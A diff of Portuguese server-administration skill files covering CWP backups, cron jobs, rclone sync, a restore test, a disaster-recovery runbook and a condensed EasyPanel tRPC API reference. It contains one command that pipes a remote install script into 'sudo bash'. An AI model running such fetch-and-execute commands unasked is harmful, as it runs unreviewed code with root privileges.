du -sh "$BACKUP_DIR"/*
|
||||
```
|
||||
|
||||
| Tipo | Retenção | Frequência |
|
||||
|------|----------|------------|
|
||||
| Horário | 24h | A cada hora |
|
||||
| Diário | 7 dias | 1x/dia (00:00) |
|
||||
| Semanal | 4 semanas | 1x/semana |
|
||||
| Mensal | 12 meses | 1x/mês |
|
||||
|
||||
---
|
||||
|
||||
## Cron Schedule
|
||||
|
||||
```cron
|
||||
# Backup MySQL (diário às 02:00)
|
||||
0 2 * * * /root/scripts/backup-mysql.sh >> /var/log/backup-mysql.log 2>&1
|
||||
|
||||
# Backup WordPress (diário às 03:00)
|
||||
0 3 * * * /root/scripts/backup-wordpress.sh >> /var/log/backup-wp.log 2>&1
|
||||
|
||||
# Backup configurações (semanal, domingo 04:00)
|
||||
0 4 * * 0 /root/scripts/backup-server-config.sh >> /var/log/backup-config.log 2>&1
|
||||
|
||||
# Rotação backups (diário às 05:00)
|
||||
0 5 * * * /root/scripts/backup-rotation-gfs.sh >> /var/log/backup-rotation.log 2>&1
|
||||
|
||||
# Teste de restore (mensal, dia 1 às 06:00)
|
||||
0 6 1 * * /root/scripts/test-restore.sh >> /var/log/test-restore.log 2>&1
|
||||
|
||||
# Sync para cloud (diário às 07:00)
|
||||
0 7 * * * rclone sync /backups gdrive:backups >> /var/log/rclone-sync.log 2>&1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cloud Sync com rclone
|
||||
|
||||
```bash
|
||||
# Instalar rclone
|
||||
curl https://rclone.org/install.sh | sudo bash
|
||||
|
||||
# Configurar Google Drive
|
||||
rclone config
|
||||
# Nome: gdrive | Tipo: drive | Seguir wizard
|
||||
```
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
LOCAL_DIR="/backups"
|
||||
REMOTE="gdrive:backups"
|
||||
|
||||
rclone sync "$LOCAL_DIR" "$REMOTE" \
|
||||
--exclude "*.tmp" \
|
||||
--exclude "*.log" \
|
||||
--progress
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Teste de Restore (OBRIGATÓRIO Mensal)
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
TEST_DB="test_restore_$(date +%Y%m%d)"
|
||||
BACKUP_FILE="/backups/mysql/ealmeida_desk24_latest.sql.gz"
|
||||
|
||||
mysql -e "CREATE DATABASE $TEST_DB;"
|
||||
|
||||
gunzip < "$BACKUP_FILE" | mysql "$TEST_DB"
|
||||
|
||||
TABLES=$(mysql -Nse "SELECT COUNT(*) FROM information_schema.TABLES WHERE table_schema='$TEST_DB';")
|
||||
echo "Tabelas restauradas: $TABLES"
|
||||
|
||||
mysqlcheck --check "$TEST_DB" | grep -i error
|
||||
|
||||
mysql -e "DROP DATABASE $TEST_DB;"
|
||||
echo "Teste concluído"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Runbook Disaster Recovery
|
||||
|
||||
```markdown
|
||||
# DISASTER RECOVERY RUNBOOK
|
||||
|
||||
## Cenário: Servidor CWP Inoperacional
|
||||
|
||||
### Passo 1: Avaliação (5 min)
|
||||
- [ ] Confirmar que servidor não responde (ping, SSH)
|
||||
- [ ] Identificar tipo de falha (hardware, software, ataque)
|
||||
- [ ] Comunicar clientes afectados (se downtime >1h)
|
||||
|
||||
### Passo 2: Provisionar Servidor (30 min)
|
||||
- [ ] Ubuntu 22.04 ou CentOS 7
|
||||
- [ ] Instalar CWP: `sh cwp-el7-latest.sh`
|
||||
- [ ] Configurar firewall e SSH
|
||||
|
||||
### Passo 3: Restore Bases de Dados (1-2h)
|
||||
```bash
|
||||
gunzip ealmeida_desk24_20260203_120000.sql.gz
|
||||
mysql -e "CREATE DATABASE ealmeida_desk24;"
|
||||
mysql ealmeida_desk24 < ealmeida_desk24_20260203_120000.sql
|
||||
```
|
||||
|
||||
### Passo 4: Restore Ficheiros (1-2h)
|
||||
```bash
|
||||
tar -xzf wordpress_sites_20260203.tar.gz -C /tmp/
|
||||
cp -r /tmp/emanuelalmeida.pt /home/ealmeida/
|
||||
chown -R ealmeida:ealmeida /home/ealmeida/emanuelalmeida.pt
|
||||
```
|
||||
|
||||
### Passo 5: Validação (30 min)
|
||||
- [ ] Testar acesso SSH
|
||||
- [ ] MySQL a responder
|
||||
- [ ] Sites WordPress a carregar
|
||||
- [ ] SSL activo
|
||||
|
||||
**RTO Total Estimado:** 4-6 horas
|
||||
```
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: cwp-accounts
|
||||
description: CWP user account management using official /scripts/cwp_api. Create, suspend, remove accounts, fix permissions. Based on official CWP documentation only. Use when user mentions "conta cwp", "user cwp", "criar conta", "suspender conta", "permissões cwp".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Gestão de contas de utilizador no CWP via API oficial /scripts/cwp_api — criar, suspender, remover contas e corrigir permissões.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /cwp-accounts - Gestão de Contas CWP (Documentação Oficial)
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: cwp-backup
|
||||
description: CWP backup creation and management using official scripts. Creates user backups, manages backup locations. Based on official CWP documentation only. Use when user mentions "backup cwp", "restaurar cwp", "backup conta", "user backup".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Criação e gestão de backups no CWP com scripts oficiais — backups de utilizador, gestão de localizações e restauro.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /cwp-backup - Backups CWP (Documentação Oficial)
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: cwp-email
|
||||
description: CWP email management including DKIM, SPF, mail queue. Based on official CWP documentation only. Use when user mentions "email cwp", "dkim", "spf", "mail queue", "postfix cwp".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Gestão de email no CWP — configuração de DKIM, SPF, mail queue e Postfix baseada na documentação oficial.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /cwp-email - Email CWP (Documentação Oficial)
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: cwp-php
|
||||
description: CWP PHP version management. PHP Switcher, Selector, configuration. Based on official CWP documentation only. Use when user mentions "php cwp", "versão php", "php selector", "php switcher".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Gestão de versões PHP no CWP — PHP Switcher, Selector e configuração baseada na documentação oficial.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /cwp-php - Gestão PHP CWP (Documentação Oficial)
|
||||
@@ -222,5 +218,24 @@ tail -f /var/log/php-rebuild.log
|
||||
|
||||
---
|
||||
|
||||
## Contexto NotebookLM
|
||||
|
||||
ANTES de executar, consultar notebooks para contexto especializado:
|
||||
|
||||
| Notebook | ID | Consultar quando |
|
||||
|----------|-----|-----------------|
|
||||
| WordPress Config CLI | fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d | Sempre |
|
||||
|
||||
```
|
||||
mcp__notebooklm__notebook_query({
|
||||
notebook_id: "fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d",
|
||||
query: "<adaptar ao contexto de PHP versões e configuração CWP>"
|
||||
})
|
||||
```
|
||||
|
||||
Integrar insights do NotebookLM nas recomendações e decisões.
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar®
|
||||
**Fonte:** wiki.centos-webpanel.com/php-selector, wiki.centos-webpanel.com/php-version-switcher
|
||||
|
||||
@@ -1,11 +1,6 @@
|
||||
---
|
||||
name: cwp-scripts
|
||||
description: Complete reference for CWP /scripts/ folder. All official CLI scripts documented. Based on official CWP documentation only. Use when user mentions "cwp scripts", "scripts cwp", "/scripts/", "comando cwp".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Referência completa dos scripts oficiais da pasta /scripts/ do CWP — todos os comandos CLI documentados.
|
||||
---
|
||||
|
||||
# /cwp-scripts - Referência Completa Scripts CWP
|
||||
@@ -258,5 +253,24 @@ Além dos scripts individuais, o CWP tem API unificada:
|
||||
|
||||
---
|
||||
|
||||
## Contexto NotebookLM
|
||||
|
||||
ANTES de executar, consultar notebooks para contexto especializado:
|
||||
|
||||
| Notebook | ID | Consultar quando |
|
||||
|----------|-----|-----------------|
|
||||
| WordPress Config CLI | fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d | Sempre |
|
||||
|
||||
```
|
||||
mcp__notebooklm__notebook_query({
|
||||
notebook_id: "fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d",
|
||||
query: "<adaptar ao contexto de scripts CWP e administração CLI>"
|
||||
})
|
||||
```
|
||||
|
||||
Integrar insights do NotebookLM nas recomendações e decisões.
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar®
|
||||
**Fonte:** wiki.centos-webpanel.com/cwp-scripts
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: cwp-security
|
||||
description: CWP security management with CSF firewall. Block/unblock IPs, configure firewall, security hardening. Based on official CWP documentation only. Use when user mentions "csf", "firewall cwp", "bloquear ip", "segurança cwp", "ban ip".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Gestão de segurança CWP com firewall CSF/LFD — bloqueio/desbloqueio de IPs, configuração de firewall e hardening baseado na documentação oficial.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /cwp-security - Segurança CWP (Documentação Oficial)
|
||||
@@ -298,5 +294,24 @@ curl -sI http://localhost | head -5
|
||||
|
||||
---
|
||||
|
||||
## Contexto NotebookLM
|
||||
|
||||
ANTES de executar, consultar notebooks para contexto especializado:
|
||||
|
||||
| Notebook | ID | Consultar quando |
|
||||
|----------|-----|-----------------|
|
||||
| Cibersegurança WordPress | 5f60adfd-2435-4725-8c12-9c11c5f51d75 | Sempre |
|
||||
|
||||
```
|
||||
mcp__notebooklm__notebook_query({
|
||||
notebook_id: "5f60adfd-2435-4725-8c12-9c11c5f51d75",
|
||||
query: "<adaptar ao contexto de segurança CWP e firewall>"
|
||||
})
|
||||
```
|
||||
|
||||
Integrar insights do NotebookLM nas recomendações e decisões.
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar®
|
||||
**Fonte:** wiki.centos-webpanel.com/csf-firewall-command-line
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: cwp-ssl
|
||||
description: CWP AutoSSL management using native acme.sh. Manages SSL certificates, renewals, and troubleshooting. Based on official CWP documentation only. Use when user mentions "ssl cwp", "autossl", "certificado ssl", "renovar ssl", "acme.sh".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Gestão de certificados SSL no CWP com acme.sh nativo — emissão, renovação e troubleshooting baseado na documentação oficial.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /cwp-ssl - Gestão SSL CWP (Documentação Oficial)
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: cwp-webserver
|
||||
description: CWP webserver management with official API. Apache, Nginx, rebuild configurations, restart services. Based on official CWP documentation only. Use when user mentions "apache cwp", "nginx cwp", "webserver cwp", "vhost cwp".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.1.0
|
||||
quality_score: 72
|
||||
user_invocable: true
|
||||
desk_task: null
|
||||
description: Gestão de webservers no CWP — configuração de Apache, Nginx, rebuild de vhosts e restart de serviços via API oficial.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /cwp-webserver - WebServers CWP (Documentação Oficial)
|
||||
|
||||
@@ -1,51 +1,41 @@
|
||||
---
|
||||
name: easypanel-api
|
||||
description: EasyPanel official tRPC API reference. All endpoints for projects, services, deploy, settings. Use when user mentions "easypanel api", "criar serviço easypanel", "deploy easypanel", "easypanel config".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 70
|
||||
user_invocable: true
|
||||
desk_task: 1502
|
||||
description: Referência completa da API tRPC oficial do EasyPanel — todos os endpoints para projectos, serviços, deploy e configurações.
|
||||
---
|
||||
|
||||
# /easypanel-api - API Oficial EasyPanel
|
||||
|
||||
Referência completa da API tRPC do EasyPanel. **Baseado em engenharia reversa do SDK oficial.**
|
||||
Referência da API tRPC do EasyPanel. Baseado em engenharia reversa do SDK oficial.
|
||||
|
||||
---
|
||||
|
||||
## Autenticação
|
||||
|
||||
```bash
|
||||
# Token guardado em /etc/easypanel/.api-token (chmod 600)
|
||||
TOKEN=$(cat /etc/easypanel/.api-token)
|
||||
|
||||
# Header obrigatório
|
||||
# Header obrigatório em todos os pedidos:
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
---
|
||||
**Base URL:** `http://localhost:3000/api/trpc/`
|
||||
|
||||
## Base URL
|
||||
|
||||
```
|
||||
http://localhost:3000/api/trpc/
|
||||
```
|
||||
|
||||
**Nota:** Usar localhost via SSH, não expor externamente.
|
||||
Usar sempre via SSH localhost. Nunca expor externamente.
|
||||
|
||||
---
|
||||
|
||||
## Formato de Requests
|
||||
## Formato de Pedidos
|
||||
|
||||
| Método | Quando usar | Formato |
|
||||
|--------|-------------|---------|
|
||||
| GET | Leitura (list, inspect, get) | `?input=URL_ENCODED_JSON` |
|
||||
| POST | Escrita (create, update, deploy, destroy) | `-d '{"json":{...}}'` com `Content-Type: application/json` |
|
||||
|
||||
### GET (leitura)
|
||||
```bash
|
||||
# GET
|
||||
curl -s "http://localhost:3000/api/trpc/ENDPOINT?input=URL_ENCODED_JSON" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
### POST (escrita)
|
||||
```bash
|
||||
# POST
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/ENDPOINT" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -56,344 +46,82 @@ curl -s -X POST "http://localhost:3000/api/trpc/ENDPOINT" \
|
||||
|
||||
## Projects API
|
||||
|
||||
### Listar Projectos
|
||||
| Endpoint | Tipo | Descrição |
|
||||
|----------|------|-----------|
|
||||
| `projects.listProjects` | GET | Listar todos os projectos |
|
||||
| `projects.listProjectsAndServices` | GET | Projectos + todos os serviços |
|
||||
| `projects.createProject` | POST | Criar projecto (`name`) |
|
||||
| `projects.destroyProject` | POST | Destruir projecto (`projectName`) |
|
||||
| `projects.inspectProject` | GET | Inspecionar projecto (`projectName`) |
|
||||
|
||||
```bash
|
||||
# Listar projectos (teste rápido de autenticação)
|
||||
curl -s "http://localhost:3000/api/trpc/projects.listProjects" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"data": {
|
||||
"json": [
|
||||
{"name": "descomplicar", "createdAt": "2024-12-30T01:32:45.738Z"},
|
||||
{"name": "clientes", "createdAt": "2024-12-30T16:18:38.840Z"}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Listar Projectos com Serviços
|
||||
|
||||
```bash
|
||||
curl -s "http://localhost:3000/api/trpc/projects.listProjectsAndServices" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
**Response:** Lista completa de projectos e todos os serviços com configurações.
|
||||
|
||||
### Criar Projecto
|
||||
|
||||
```bash
|
||||
# Criar projecto
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/projects.createProject" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
|
||||
-d '{"json":{"name":"novo-projecto"}}'
|
||||
```
|
||||
|
||||
### Destruir Projecto
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/projects.destroyProject" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"nome-projecto"}}'
|
||||
```
|
||||
|
||||
### Inspeccionar Projecto
|
||||
|
||||
```bash
|
||||
curl -s "http://localhost:3000/api/trpc/projects.inspectProject?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%7D%7D" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Services API
|
||||
|
||||
### Service Types
|
||||
Endpoints completos com exemplos curl: ver [references/services-api.md](references/services-api.md)
|
||||
|
||||
| Type | Descrição |
|
||||
|------|-----------|
|
||||
| `app` | Aplicação (Node.js, Python, Go, etc.) |
|
||||
| `mysql` | MySQL database |
|
||||
| `mariadb` | MariaDB database |
|
||||
| `postgres` | PostgreSQL database |
|
||||
| `mongo` | MongoDB database |
|
||||
| `redis` | Redis cache |
|
||||
| Endpoint | Tipo | Descrição |
|
||||
|----------|------|-----------|
|
||||
| `services.app.createService` | POST | Criar serviço app |
|
||||
| `services.postgres.createService` | POST | Criar PostgreSQL |
|
||||
| `services.mysql.createService` | POST | Criar MySQL |
|
||||
| `services.redis.createService` | POST | Criar Redis |
|
||||
| `services.app.inspectService` | GET | Inspecionar serviço |
|
||||
| `services.app.deployService` | POST | Fazer deploy |
|
||||
| `services.app.enableService` | POST | Activar serviço |
|
||||
| `services.app.disableService` | POST | Desactivar serviço |
|
||||
| `services.app.destroyService` | POST | Destruir serviço |
|
||||
|
||||
### Criar Serviço App
|
||||
**Parâmetros obrigatórios:** `projectName` + `serviceName` em todos os endpoints de serviços.
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
|
||||
### Criar Serviço Database
|
||||
|
||||
```bash
|
||||
# PostgreSQL
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-db"}}'
|
||||
|
||||
# MySQL
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.mysql.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"mysql-db"}}'
|
||||
|
||||
# Redis
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.redis.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"cache"}}'
|
||||
```
|
||||
|
||||
### Inspeccionar Serviço
|
||||
|
||||
```bash
|
||||
# URL encode: {"json":{"projectName":"descomplicar","serviceName":"dashboard_descomplicar"}}
|
||||
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22dashboard_descomplicar%22%7D%7D" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{
|
||||
"projectName": "descomplicar",
|
||||
"name": "dashboard_descomplicar",
|
||||
"type": "app",
|
||||
"enabled": true,
|
||||
"token": "deploy-webhook-token",
|
||||
"source": {"type": "git", "repo": "https://...", "ref": "main"},
|
||||
"build": {"type": "nixpacks", "buildCommand": "npm run build"},
|
||||
"env": "VAR=value",
|
||||
"mounts": [],
|
||||
"ports": []
|
||||
}
|
||||
```
|
||||
|
||||
### Deploy Serviço
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.deployService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
|
||||
### Enable/Disable Serviço
|
||||
|
||||
```bash
|
||||
# Disable
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.disableService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
|
||||
# Enable
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.enableService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
|
||||
### Destruir Serviço
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.destroyService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
**Regra Descomplicar:** `projectName:"descomplicar"` para serviços próprios.
|
||||
|
||||
---
|
||||
|
||||
## Service Configuration API
|
||||
|
||||
### Actualizar Source (GitHub)
|
||||
Endpoints completos com exemplos curl: ver [references/service-config-api.md](references/service-config-api.md)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGithub" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"owner":"ealmeida",
|
||||
"repo":"MeuRepo",
|
||||
"ref":"main",
|
||||
"path":"/"
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Source (Git Custom)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGit" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"repo":"https://git.descomplicar.pt/org/repo",
|
||||
"ref":"main",
|
||||
"path":"/"
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Source (Docker Image)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceImage" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"image":"node:22-alpine"
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Environment Variables
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateEnv" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"env":"NODE_ENV=production\nPORT=3000\nDATABASE_URL=postgres://..."
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Domains
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateDomains" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"domains":[
|
||||
{"host":"api.descomplicar.pt","https":true,"port":3000}
|
||||
]
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Mounts
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateMounts" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"mounts":[
|
||||
{"type":"volume","name":"data","mountPath":"/app/data"}
|
||||
]
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Ports (non-HTTP)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updatePorts" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"ports":[
|
||||
{"published":8080,"target":3000,"protocol":"tcp"}
|
||||
]
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Resources
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateResources" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"resources":{
|
||||
"memoryLimit":"512m",
|
||||
"memoryReservation":"256m",
|
||||
"cpuLimit":1,
|
||||
"cpuReservation":0.5
|
||||
}
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Build Config
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateBuild" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"build":{
|
||||
"type":"nixpacks",
|
||||
"buildCommand":"npm run build",
|
||||
"startCommand":"npm start"
|
||||
}
|
||||
}}'
|
||||
```
|
||||
|
||||
### Actualizar Deploy (Replicas, Command)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateAdvanced" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"deploy":{
|
||||
"replicas":2,
|
||||
"command":"node dist/index.js",
|
||||
"zeroDowntime":true
|
||||
}
|
||||
}}'
|
||||
```
|
||||
| Endpoint | Descrição |
|
||||
|----------|-----------|
|
||||
| `services.app.updateSourceGithub` | Source GitHub (`owner`, `repo`, `ref`, `path`) |
|
||||
| `services.app.updateSourceGit` | Source Git custom (`repo`, `ref`, `path`) |
|
||||
| `services.app.updateSourceImage` | Source Docker image (`image`) |
|
||||
| `services.app.updateEnv` | Variáveis de ambiente (`env` como string multi-linha) |
|
||||
| `services.app.updateDomains` | Domínios (`domains[]` com `host`, `https`, `port`) |
|
||||
| `services.app.updateMounts` | Volumes (`mounts[]` com `type`, `name`, `mountPath`) |
|
||||
| `services.app.updatePorts` | Portas TCP/UDP (`ports[]` com `published`, `target`, `protocol`) |
|
||||
| `services.app.updateResources` | CPU/RAM (`memoryLimit`, `cpuLimit`, etc.) |
|
||||
| `services.app.updateBuild` | Build config (`type`, `buildCommand`, `startCommand`) |
|
||||
| `services.app.updateAdvanced` | Deploy avançado (`replicas`, `command`, `zeroDowntime`) |
|
||||
| `services.postgres.updateBackup` | Backup BD para S3 |
|
||||
|
||||
---
|
||||
|
||||
## Monitor API
|
||||
|
||||
### System Stats
|
||||
|
||||
```bash
|
||||
# Stats do sistema
|
||||
curl -s "http://localhost:3000/api/trpc/monitor.getSystemStats" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
### Service Stats
|
||||
|
||||
```bash
|
||||
curl -s "http://localhost:3000/api/trpc/monitor.getServiceStats?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22minha-api%22%7D%7D" \
|
||||
# Stats de serviço (URL encode necessário)
|
||||
# input: {"json":{"projectName":"descomplicar","serviceName":"api"}}
|
||||
curl -s "http://localhost:3000/api/trpc/monitor.getServiceStats?input=..." \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
### Docker Task Stats
|
||||
|
||||
```bash
|
||||
# Stats Docker tasks
|
||||
curl -s "http://localhost:3000/api/trpc/monitor.getDockerTaskStats" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
@@ -402,10 +130,10 @@ curl -s "http://localhost:3000/api/trpc/monitor.getDockerTaskStats" \
|
||||
|
||||
## Logs API
|
||||
|
||||
### Get Service Logs
|
||||
|
||||
```bash
|
||||
curl -s "http://localhost:3000/api/trpc/logs.getServiceLogs?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22minha-api%22%2C%22tail%22%3A100%7D%7D" \
|
||||
# Logs de serviço (tail=100)
|
||||
# input: {"json":{"projectName":"descomplicar","serviceName":"api","tail":100}}
|
||||
curl -s "http://localhost:3000/api/trpc/logs.getServiceLogs?input=..." \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
@@ -413,108 +141,26 @@ curl -s "http://localhost:3000/api/trpc/logs.getServiceLogs?input=%7B%22json%22%
|
||||
|
||||
## Settings API
|
||||
|
||||
### Get Server IP
|
